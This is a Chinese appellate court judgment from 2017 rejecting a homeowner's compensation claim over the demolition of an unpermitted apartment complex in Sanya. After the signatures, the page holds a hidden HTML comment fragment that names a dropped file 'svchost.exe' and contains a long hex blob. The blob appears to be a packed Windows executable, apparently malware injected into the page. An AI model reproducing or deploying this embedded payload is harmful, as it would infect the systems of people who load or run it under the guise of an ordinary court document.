海南省高级人民法院
p t ; ” > 行 政 赔 偿 判 决 书
（2017）琼行赔终12号
海南省高级人民法院
行政赔偿判决书
（2017）琼行赔终12号
上诉人（原审原告）王海琛，男，1956年5月18日生，蒙古族，现住内蒙古鄂尔多斯市。
委托代理人闫晋英，女，1947年10月13日出生，汉族，现住北京市朝阳区。
委托代理人刘继萍，女，1955年1月19日出生，汉族，现住山西省太原市。
被上诉人（原审被告）三亚市综合行政执法局，住所地三亚市凤凰路212号。
法定代表人王宏宁，该局局长。
委托代理人罗政伟，该局工作人员。
委托代理人林广博，海南祥瑞律师事务所律师。
原审第三人三亚市热带农业科学研究院，住所地三亚市崖州区北郊玉井温泉。
负责人符继业，该院干部。
原审第三人三亚玉井温泉休闲农业发展有限公司，住所地三亚市崖州区北岭路。
法定代表人张娟，该公司执行董事。
原审第三人三亚广励智信投资置业有限公司，住所地三亚市解放路524号汽车大厦804房。
法定代表人荣浩男，该公司执行董事。
上诉人王海琛因其诉被上诉人三亚市综合行政执法局（以下简称三亚市执法局）及原审第三人三亚市热带农业科学研究院（以下简称三亚市热科院）、原审第三人三亚玉井温泉休闲农业发展有限公司（以下简称玉井温泉公司）、原审第三人三亚广励智信投资置业有限公司（以下简称广励智信公司）建设规划行政管理强制拆除赔偿一案，不服海南省三亚市中级人民法院（2016）琼02行赔初57号行政赔偿判决，向本院提起上诉。本院依法组成合议庭，于2017年5月5日公开开庭审理了本案。因王海琛提起本案行政诉讼的同时，一并提起行政赔偿诉讼。本院依照《最高人民法院关于审理行政赔偿案件若干问题的规定》第二十八条之规定，分别立案后，与本案合并审理。上诉人王海琛的委托代理人闫晋英、刘继萍，被上诉人三亚市执法局的委托代理人罗政伟、林广博出庭参加诉讼。原审第三人三亚市热科院经本院合法传唤，无正当理由拒不到庭参加诉讼。原审第三人玉井温泉公司法定代表人张娟因涉嫌刑事案件被羁押未到庭参加诉讼，该公司亦未委托代理人参加诉讼。原审第三人广励智信公司经本院合法传唤，无正当理由拒不到庭参加诉讼。本案现已审理终结。
本案被诉行政行为：2015年4月9日，三亚市执法局以三亚市优质蔬菜开发中心（以下简称蔬菜中心）、广励智信公司、玉井温泉公司为相对人，作出三综执（崖州）罚决字[2015]Z1-001号处罚决定，责令上述被处罚单位在该决定书送达之日起三日内拆除其所建违法建筑。2015年4月13日，三亚市执法局同样以蔬菜中心、广励智信公司、玉井温泉公司为相对人，作出三综执（崖州）执决字[2015]Z1-011号强制执行决定，决定于2015年4月16日拆除其所建违法建筑。2015年7月7日至7月15日期间，三亚市执法局强制拆除了上述建筑。
原审查明，2014年3月24日，三亚市执法局执法人员巡查发现蔬菜中心未经取得建设工程规划许可证，擅自在三亚市崖城镇（2014年10月，三亚市撤镇设区，崖城镇更名为崖州区）北岭路开发房地产项目，已建设15栋框架结构楼房，具体情况为：9栋六层楼已封顶（其中，3栋结构相同，每栋占地面积为605㎡,建筑面积为3630㎡；6栋结构相同，每栋占地面积为495㎡,建筑面积为2970㎡）；4栋结构相同，已建至十层（每栋占地面积为1386㎡,建筑面积为13860㎡）；2栋结构相同（1栋建至四层，1栋建至五层，占地面积均为872㎡）。遂于当日向蔬菜中心送达了三综执（崖城分局一中队）询字[2014]第047号《接受调查询问通知书》和三综执（崖城分局一中队）停字[2014]第047号《责令停止违法行为通知书》。2014年3月25日、4月1日，三亚市执法局先后向三亚市的供电、供水部门发出函件，要求停止对前述违法建筑供水供电。2014年5月12日，三亚市执法局经调查，就前述建设行为又分别向玉井温泉公司和广励智信公司送达了三综执（崖城分局一中队）询字[2014]第086、087号《接受调查询问通知书》，以两单位存在违规建设行为为由，要求接受调查询问。2014年5月27日，三亚市规划局对三亚市执法局关于征求崖城镇北岭路”三亚市现代农业科教园”规划意见的函件作出复函，称该局未收到”三亚市现代农业科教园”建设项目规划报建申请，也未核发过该项目的《建设工程规划许可证》。2015年2月6日，三亚市执法局发现蔬菜中心、玉井温泉公司及广励智信公司在三亚市××镇，遂对该三家单位作出三综执（崖州）罚告字[2015]Z1-001号《行政处罚告知书》，告知拟处以责令限期拆除上述违法建筑的行政处罚以及三家单位所享有的陈述、申辩和要求举行听证的权利。2015年4月9日，三亚市执法局对蔬菜中心、玉井温泉公司及广励智信公司作出三综执（崖州）罚决字[2015]Z1-001号《行政处罚决定书》，认定该三家被处罚单位崖城镇北岭路”三亚市××园”项目未取得建设工程规划许可证的情况下，违法建设框架结构的房屋17栋，具体状况为：9栋六层封顶，2栋八层封顶，3栋十一层封顶，1栋十层封顶，1栋五层未封顶，1栋四层封顶，总占地面积约14703㎡,总建筑面积约114780㎡。其建设行为违反了《中华人民共和国城乡规划法》第四十条和《海南省城乡规划条例》第三十七条之规定，依据《中华人民共和国城乡规划法》第六十四条和《海南省城乡规划条例》第七十三条之规定，决定责令被处罚单位自该决定书送达之日起三日内拆除上述违法建设房屋。2015年4月13日，因蔬菜中心、玉井温泉公司及广励智信公司逾期未履行拆除义务，三亚市执法局作出三综执（崖州）催字[2015]Z1-001号《强制执行催告书》，催告该三家单位于2015年4月15日24时前履行三综执（崖州）罚决字[2015]Z1-001号《行政处罚决定书》的义务，自行拆除上述违法建筑物；逾期将由该局强制拆除，一切法律后果由该三家单位承担。同日，三亚市执法局又对前述三家单位作出三综执（崖州）执决字[2015]Z1-011号《强制执行决定书》，以该三家单位未于2015年4月15日24时前自行拆除上述违法建筑物为由，根据《中华人民共和国城乡规划法》第六十八条、《海南省城乡规划条例》第七十六条及《中华人民共和国行政强制法》第四十四条之规定，决定于2015年4月16日对上述违法建筑物实施强制拆除。同日，三亚市执法局还对”三亚市现代农业科教园”项目全体业主发出了《关于限期搬迁公告》，以该项目违法建设者拒不履行行政处罚决定，未自行拆除违法建筑，甚至公开对外售卖，其行为违反了相关法律法规的规定，严重扰乱了三亚市房地产市场及经济建设秩序为由，公告如下：限令居住在上述违法建筑物内的全体业主于2015年4月16日前将建筑物内所有物品搬迁完毕并撤离；逾期不搬迁的，由此所造成的一切损失及后果自行承担；阻碍执法人员执行公务的，将依照《中华人民共和国治安管理处罚法》的有关规定执行，构成犯罪的，将追究其刑事责任。2015年4月23日，三亚市执法局组织执法人员强制拆除了前述违法建筑物中的2栋楼房（其中，1栋四层楼，1栋五层楼）。2015年7月7日至15日期间，三亚市执法局又组织执法人员强制拆除了前述违法建筑物中的另外12栋楼房（其中，5栋六层楼，1栋七层楼，2栋八层楼，4栋十层半楼）及小区内的辅助设施和简易房屋，剩余3栋楼房未予拆除。在强制拆除过程中，三亚市执法局对金阳光?温泉花园小区（以下简称金阳光小区）住户未搬离的屋内物品进行了清点、登记及保存。由于需要拆除的建筑面积大、数量多，且小区居民此前多次强烈反对拆迁，为防止阻挠执法或暴力抗拆事件的发生，三亚市人民政府（以下简称三亚市政府）及三亚市崖州区人民政府、三亚市公安局等相关部门也派出人员在现场维持秩序，确保拆除工作顺利进行。
2016年2月23日，王海琛以其位于金阳光小区的房屋被三亚市政府、三亚市执法局违法拆除为由，提起本案诉讼。在案件诉讼过程中，三亚市政府主张其不是本案适格被告。海南省三亚市中级人民法院经审查，认为三亚市政府并非本案适格被告，已另行作出（2016）琼02行初221号行政裁定，驳回王海琛对三亚市政府的起诉。此外，经调查，本案各方当事人一致认可三亚市执法局在涉案的《行政处罚决定书》和《强制执行决定书》等执法文书中所认定的”三亚市现代农业科教园”项目用地范围内的违法建筑物就是王海琛所诉称的金阳光小区房屋。
原审另查明，2010年5月5日，蔬菜中心与玉井温泉公司签订《土地承包合同》,约定：蔬菜中心将其位于崖城镇北岭路约300亩科教用地承包给玉井温泉公司开发使用50年，即从2010年5月5日至2060年5月4日止；玉井温泉公司可举办各类学校、科教基地、专家学术论坛会馆、农业观光旅游产业等；玉井温泉公司承包土地后，负责立项报建，蔬菜中心应积极配合。2011年1月6日，经蔬菜中心申请，三亚市发展和改革委员会同意对”三亚市现代农业科教园”项目进行备案，载明：项目占地300亩，总建筑面积83600㎡。2011年11月5日，蔬菜中心与玉井温泉公司签订《土地承包合同补充协议》，约定蔬菜中心无偿协助玉井温泉公司办理现代农业科教园项目报建手续，所有报建费用由玉井温泉公司负责；玉井温泉公司为蔬菜中心报建的职工住宅楼产权归蔬菜中心所有，原合同约定的”职工住宅建设资金1100万元，由玉井温泉公司汇入蔬菜中心账户”改为玉井温泉公司出资给蔬菜中心建造80套房屋。2012年1月10日，三亚市政府批准了”三亚市现代农业科教园”的控制性详细规划。该控制性详细规划确定：”三亚市现代农业科教园”规划总建设用地面积248521.82㎡，总建筑面积99400㎡；规划用地共划分为18个地块，其中，A-09、A-13地块的用地性质分别为职工宿舍和现代农业实验检验配送用地。此后，三亚市城乡规划委员会2013年第十次会议审议通过了”三亚市现代农业科教园”的修建性详细规划。该修建性详细规划确定：”三亚市现代农业科教园”项目主要建设内容包括现代农业培训中心、农业科教展馆、职工安置住宅、生态广场、博士后工作站、科教实验中心、教师及学员宿舍、蔬菜配送中心、农药检测检验中心、蔬菜气调保鲜库及其他配套设施；项目规划的居住用地有两块，即A-09和A-13地块，其中，A-09地块的总用地面积为15561.16㎡，总建筑面积为19504.2㎡，A-13地块的总用地面积为19643.91㎡，总建筑面积为25983.81㎡，两地块的建筑限高均为20米。2012年5月7日，蔬菜中心与玉井温泉公司又签订《土地承包合同补充协议书》，约定玉井温泉公司的土地承包期限改为2012年5月15日至2062年5月14日。2012年7月21日，玉井温泉公司与广励智信公司签订《三亚现代农业科教园A09地块投资建设经营协议书》，约定玉井温泉公司将由蔬菜中心处取得的”三亚市现代农业科教园”项目的A-09地块与广励智信公司合作，广励智信公司全额投资建设；广励智信公司建设8000㎡的职工住宅给玉井温泉公司，余10673.39㎡的开发建设由广励智信公司按规定设计统筹，玉井温泉公司负责报建，获批后由广励智信公司独立完成经营，玉井温泉公司不参与分配。2012年9月1日，玉井温泉公司与广励智信公司签订《房产项目联营及授权说明》，玉井温泉公司授权广励智信公司对A-09地块按详规规划，独立开发建设，自主经营管理，统一规划设计，并在履行报批手续后，自行组织施工、招投标、确定施工单位和监理单位，对工程全面监督管理；对建成后的房产建筑物，有权依法进行出租、转让、经营管理，从中获取收益。2012年10月6日，三亚市机构编制委员会对三亚市农业局作出《关于三亚市热带农业科学研究院机构编制方案问题的批复》，同意撤销蔬菜中心、三亚市南红农场、三亚市农业科学研究所，重组设立三亚市热科院。2013年4月19日，玉井温泉公司与广励智信公司再次签订《三亚现代农业科技园A13地块投资建设经营协议书》，约定玉井温泉公司将由蔬菜中心处取得的”三亚市现代农业科教园”项目的A-13地块与广励智信公司合作，广励智信公司全额投资建设，对建成后的房子可以对外租赁等方式取得经营收入，玉井温泉公司收取总建设面积的百分之三十，剩余百分之七十归广励智信公司所有；广励智信公司对投资所建标的物，在经营期内享有居住、使用、收益权，不享有所有权。此后，广励智信公司未经取得建设工程规划许可证和施工许可证即在”三亚市现代农业科教园”项目用地范围内投资建设了金阳光小区的17栋楼房，总建筑面积约114780㎡，部分楼房的高度超过了A-09、A-13两块居住用地最高建筑高度为20米的规划限制。
王海琛于2013年12月22日，通过与广励智信公司签订房产交易合同的方式，取得了广励智信公司建造的B-1幢2单元208号金阳光小区房屋。
原审又查明，2002年8月22日，国务院作出《国务院关于进一步推进相对集中行政处罚权工作的决定》（国发〔2002〕17号），依照行政处罚法的规定，授权省、自治区、直辖市人民政府可以决定在本行政区域内有计划、有步骤地开展相对集中行政处罚权工作。2002年10月11日，国务院办公厅印发《国务院办公厅转发中央编办关于清理整顿行政执法队伍实行综合行政执法试点工作意见的通知》（国办发〔2002〕56号），要求地方各级人民政府抓好综合行政执法试点工作。2004年10月20日，海南省人民政府作出《海南省人民政府关于同意三亚市人民政府开展综合行政执法试点工作的批复》（琼府函〔2004〕91号），同意三亚市政府按照《三亚市综合行政执法试点方案》开展综合行政执法试点工作。2005年12月30日，三亚市政府根据上述国办发〔2002〕56号文和琼府函〔2004〕91号文的精神，作出《三亚市人民政府关于推进综合行政执法试点工作的决定》（三府〔2005〕184号），决定成立三亚市执法局，将三亚市建设、工商、交通等多家部门行使的部分行政处罚、行政强制职能及与之相关的监督检查职能统一转交由该局行使，其中包括城市规划管理的行政处罚及行政强制职能。
原审再查明，2015年5月14日，案外人翟某向海南仲裁委员会申请仲裁，请求解除其与广励智信公司就金阳光小区B区2栋2单元1层107房签订的《房产交易合同》，并裁决广励智信公司按原价退还其购房款22.5万元。2015年12月2日，海南仲裁委员会对该案作出（2015）海仲字第422号《裁决书》，认定：申请人翟某与被申请人广励智信公司签订的《房产交易合同》及《补充协议》，因金阳光小区项目未经政府建设工程规划许可，所建房屋属违章建筑，双方所签订的合同无效，自始没有发生法律效力，对当事人没有约束力；广励智信公司在未经政府建设工程规划许可的情况下，进行商业性房地产项目开发并对外销售，翟某明知涉案房屋不具备法定交易条件而与之签约购房，已经违反了《中华人民共和国城市房地产管理法》的规定，对此双方都有过错。据此，裁决：被申请人广励智信公司应自裁决生效之日起10日内向申请人翟某退还购房款22.5万元；驳回申请人翟某的其他仲裁请求。经查，翟某与广励智信公司签订的前述合同的性质与王海琛在本案中据以主张权利的房产交易合同的性质基本类同。
原审认为，本案争议焦点为：一、王海琛是否具有本案原告诉讼主体资格；二、关于王海琛要求三亚市执法局赔偿其损失的诉讼请求是否有合法依据的问题。
一、关于王海琛是否具有本案原告诉讼主体资格的问题。《中华人民共和国行政诉讼法》第二条第一款规定，公民、法人或者其他组织认为行政机关和行政机关工作人员的行政行为侵犯其合法权益，有权依照本法向人民法院提起诉讼。本案中，王海琛以涉案房屋被强拆造成其合法权益受到损害为由提起本案诉讼，符合前述法律规定。三亚市执法局主张王海琛不具备本案原告诉讼主体资格的理由不能成立，不予支持。
二、关于王海琛要求三亚市执法局赔偿其购房款损失的请求是否有合法依据的问题。根据《中华人民共和国国家赔偿法》第二条的规定，国家机关和国家机关工作人员行使职权，有该法规定的侵犯公民、法人和其他组织合法权益并造成损害的，受害人才有权取得国家赔偿。经查，本案王海琛的赔偿请求没有充分的事实根据和法律依据，具体理由如下：1.对王海琛诉求确认三亚市执法局强制拆除其在金阳光小区房屋的行政行为违法一案，海南省三亚市中级人民法院经审理，已另行作出（2016）琼02行初221号行政判决，认定三亚市执法局强制拆除金阳光小区涉案房屋的行为没有侵犯王海琛的合法权益，并驳回了王海琛的诉讼请求。二、王海琛诉求三亚市执法局赔偿各项损失596万元及恢复被拆房屋原状的诉讼请求，没有事实根据和法律依据，依法应不予支持。本案中，王海琛与广励智信公司交易的房屋系未经取得建设工程规划许可和施工许可而擅自建设的违法建筑，不属于应受法律保护的合法权益，因此，王海琛要求三亚市执法局恢复被拆房屋原状的诉讼请求，于法无据，不予支持。至于房屋装修、屋内物品及其他损失，因三亚市执法局在强制拆除涉案房屋前曾对”三亚市现代农业科教园”项目全体业主发出公告，限令居住在涉案违法建筑物内的全体住户在规定期限内将建筑物内外的所有物品搬迁完毕并撤离。在限令的搬迁期限届满后，三亚市执法局才对涉案房屋实施拆除行为，已给予住户合理的搬迁期限。且在拆除过程中，三亚市执法局已对金阳光小区住户未搬离的屋内物品进行了清点、登记及保存，已依法履行了相应的义务。王海琛对三亚市执法局提交的物品清单及保存照片有质疑，但不能提交充分的证据予以反驳。综上，王海琛主张三亚市执法局的强制拆除行为侵害其合法财产权益的依据不足。至于三亚市执法局登记保存的屋内物品，王海琛经与三亚市执法局提供的物品清单比对确认后，可向三亚市执法局申请办理领取手续，以减少损失。王海琛因无效的《房产合同》所产生的相关权益，可另行通过仲裁等其他渠道向广励智信公司主张。
综上所述，王海琛要求三亚市执法局赔偿其购房款损失无事实根据和法律依据，应驳回其赔偿请求。依照《最高人民法院关于审理行政赔偿案件若干问题的规定》第三十三条之规定，判决：驳回王海琛的赔偿请求。
上诉人王海琛上诉称，一、有详实资料可以证明，”三亚市现代农业科教园”项目是由当时政府批准授权进行开发建设的。二、该项目得到政府供水、供电、通路支持。开发初期更得到政府出面强制清除原住户等，在多方积极协助下，并收取了多年相应税费才得已建设完成。三、王海琛当时是在三亚副市××组、极力宣传促销下购买的。四、王海琛是向经政府资质认证的正规房产开发商，据有完整合法手续购买的。五、强拆是在政府指令、在市长等一千人亲自坐阵指挥下武装暴力进行的。六、强拆违反了《中华人民共和国行政强制法》第四十三条关于期间不许停水、停电的规定。七、政府选择性执法，强拆时保留三栋。八、违反了《中华人民共和国行政强制法》诉讼期间不许强拆的规定。强拆没经过法律论证，是在业主集体强烈抗议，诉至法院期间暴力进行的。九、强拆违背了《中华人民共和国宪法》”个人私有财产神圣不受侵犯”的规定。综上，请求：1.原址、原样恢复被拆房屋，按当今房屋市场等价等值赔偿；2.赔偿房屋装修、物品、精神等各种损失费用约合60万元。
被上诉人三亚市执法局答辩称，一、王海琛不是本案适格的诉讼主体，无权提起本案的行政诉讼。本案中，三亚市执法局作出行政行为的对象是三亚市热科院、玉井温泉公司、广励智信公司，而不是王海琛。根据行政处罚法、城乡规划法等相关法律法规，对于违法建筑的查处，是以违法行为人作为行政行为对象。本案的金阳光小区违法建设项目是由三亚市热科院、玉井温泉公司、广励智信公司等单位进行违法建设的，依法必须且也只能以相关违法建设单位作为行政行为对象进行处罚及发送相关文书。王海琛不是违法建设者，依法与三亚市执法局没有直接的法律关系，不能作为行政处罚及执行的行为对象。
二、王海琛的上诉请求没有事实根据和法律依据。三亚市政府从没有审批过金阳光小区项目，本案违法建设的项目就位于三亚市政府规划许可的”三亚市现代农业科教园”用地上。”三亚市现代农业科教园”是三亚市政府为发展三亚以至于海南热带高效农业，而规划许可的一个农业科研教育用途性质的建设项目。项目内规划的具体建设内容包括培训中心、科教展馆、试验中心、检验中心、博士后工作站等，总的规划许可总建设面积为9万多平方米。相关违法行为人以建设科教园为名，实际进行商品房建设及销售，根本性地改变了农业科教园项目的规划用途性质，严重损害了三亚规划及社会公共利益，且违法建设的商品房建筑面积达11万多平方米，远远超过科教园规划许可的总建设面积。违法事实清楚，证据确实充分，情节严重恶劣。
三、三亚市执法局调查涉案建筑属违法建筑的事实清楚，证据确凿，作出行政行为依法有据，程序合法，处理结果正确。涉案违法建筑是三亚市执法局执法人员于2014年3月24日经巡查发现的，发现时已建设15栋框架结构楼房，其中9栋已封顶，6栋尚未封顶。三亚市执法局立即按相关规定向违建所在地使用权人三亚市热科院发送《接受调查询问通知书》及《责令停止违法行为通知书》，要求其接受调查及停止违法行为，同时又按规定向供水及供电部门发出函件要求停止对违法建筑供水供电。其后经调查了解发现，玉井温泉公司及广励智信公司亦是该违建的违法行为人。三亚市执法局于2014年5月12日向该两家公司发送了《接受调查询问通知书》。2014年5月27日，经三亚市执法局向三亚市规划局调查问询，三亚市规划局复函称：未收到”三亚市现代农业科教园”建设项目规划报建申请，也未核发过该项目的《建设工程规划许可证》。然而在三亚市执法局对该违建项目查处的过程中及责令相关违法行为人停止违法建设的情况下，该违建项目均未停止违法建设，至三亚市规划局向上述三家违法行为人发出《行政处罚决定书》之日止，该违建项目已建至17栋，其中除1栋五层未封顶外，其余均已封顶。鉴于该违建项目已根本性地改变了”三亚市现代农业科教园”项目的规划用途性质，严重损害了三亚规划及社会公共利益。三亚市执法局依法责令相关违建行为人拆除违法建设的房屋。但三家违建行为人均不履行规定的义务，为此三亚市执法局向该三家违建行为人发出执行催告，进而于2015年4月13日发出了《强制执行决定书》，并依法分别于2015年4月23日及7月7日至15日对该严重违法建设项目进行了强制拆除。
四、原审判决认定的事实清楚，适用法律正确，程序合法，判决结果正确。
综上，请求：依法驳回王海琛的上诉请求，维持原审判决。
原审第三人三亚市热科院、玉井温泉公司、广励智信公司经本院合法传唤，未参加庭审，也未提交书面陈述意见。
二审期间当事人没有新证据提交本院。
本院经审理查明的事实与原审认定的事实一致，本院予以确认。
本院认为，一、关于王海琛是否具有本案原告主体资格的问题。根据本案审理查明事实，王海琛通过签订房产交易合同的方式，取得了涉案金阳光小区的房屋，三亚市执法局在强制拆除涉案违法建筑物之前，亦对”三亚市现代农业科教园”项目全体业主发出了《关于限期搬迁公告》，故可以认定王海琛与本案被诉强制拆除行为具有法律上的利害关系，具有提起本案诉讼的原告主体资格。根据《中华人民共和国行政诉讼法》第二条”公民、法人或者其他组织认为行政机关和行政机关工作人员的具体行政行为侵犯其合法权益，有权依照本法向人民法院提起诉讼”之规定，王海琛认为三亚市执法局强制涉案违法建筑物的行为导致自己合法权益受损，向法院提起行政诉讼，其行为符合法律规定。原审判决认定王海琛具有原告主体资格，并无不当。三亚市执法局上诉主张王海琛不具备原告主体资格，理由不能成立，本院不予支持。
二、关于王海琛主张的各项赔偿请求能否成立的问题。首先，对于王海琛要求恢复其被拆除房屋原状的诉讼请求。王海琛另案请求确认三亚市执法局强制拆除其房屋违法的诉讼请求已被本院作出的（2017）琼行终442号行政判决予以驳回。本案被拆除房屋已经被行政机关认定为违法建筑，王海琛请求将被拆除的违法建筑恢复原状没有法律依据，本院不予支持。其次，关于王海琛主张的赔偿其房屋装修、物品、精神等各种损失能否成立的问题。根据《中华人民共和国行政诉讼法》第三十八条第二款”在行政赔偿、补偿的案件中，原告应当对行政行为造成的损害提供证据。因被告的原因导致原告无法举证的，由被告承担举证责任”的规定，王海琛应当就其受到的财物损失承担举证责任，因强制拆除行为而导致王海琛无法举证的部分则由三亚市执法局承担举证责任。本案中，三亚市执法局在强制拆除过程中，对金阳光小区住户未搬离的屋内物品进行了清点、登记及保存，而王海琛提交的证据不足以证明三亚市执法局强拆行为造成其房屋装修、物品、精神等损失的事实及数额，故对王海琛的该项主张本院不予支持。
综上，原审判决认定事实清楚，适用法律正确，本院予以维持。王海琛的上诉请求无事实根据和法律依据，本院不予支持。依照《中华人民共和国行政诉讼法》第八十九条第一款第（一）项的规定，判决如下：
驳回上诉，维持原判。
本判决为终审判决。
bh92ixd7xjsp7o3tsp
审判长吴天月
审判员聂海波
审判员陈焱
法官助理皮小慢
书记员梁棚
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4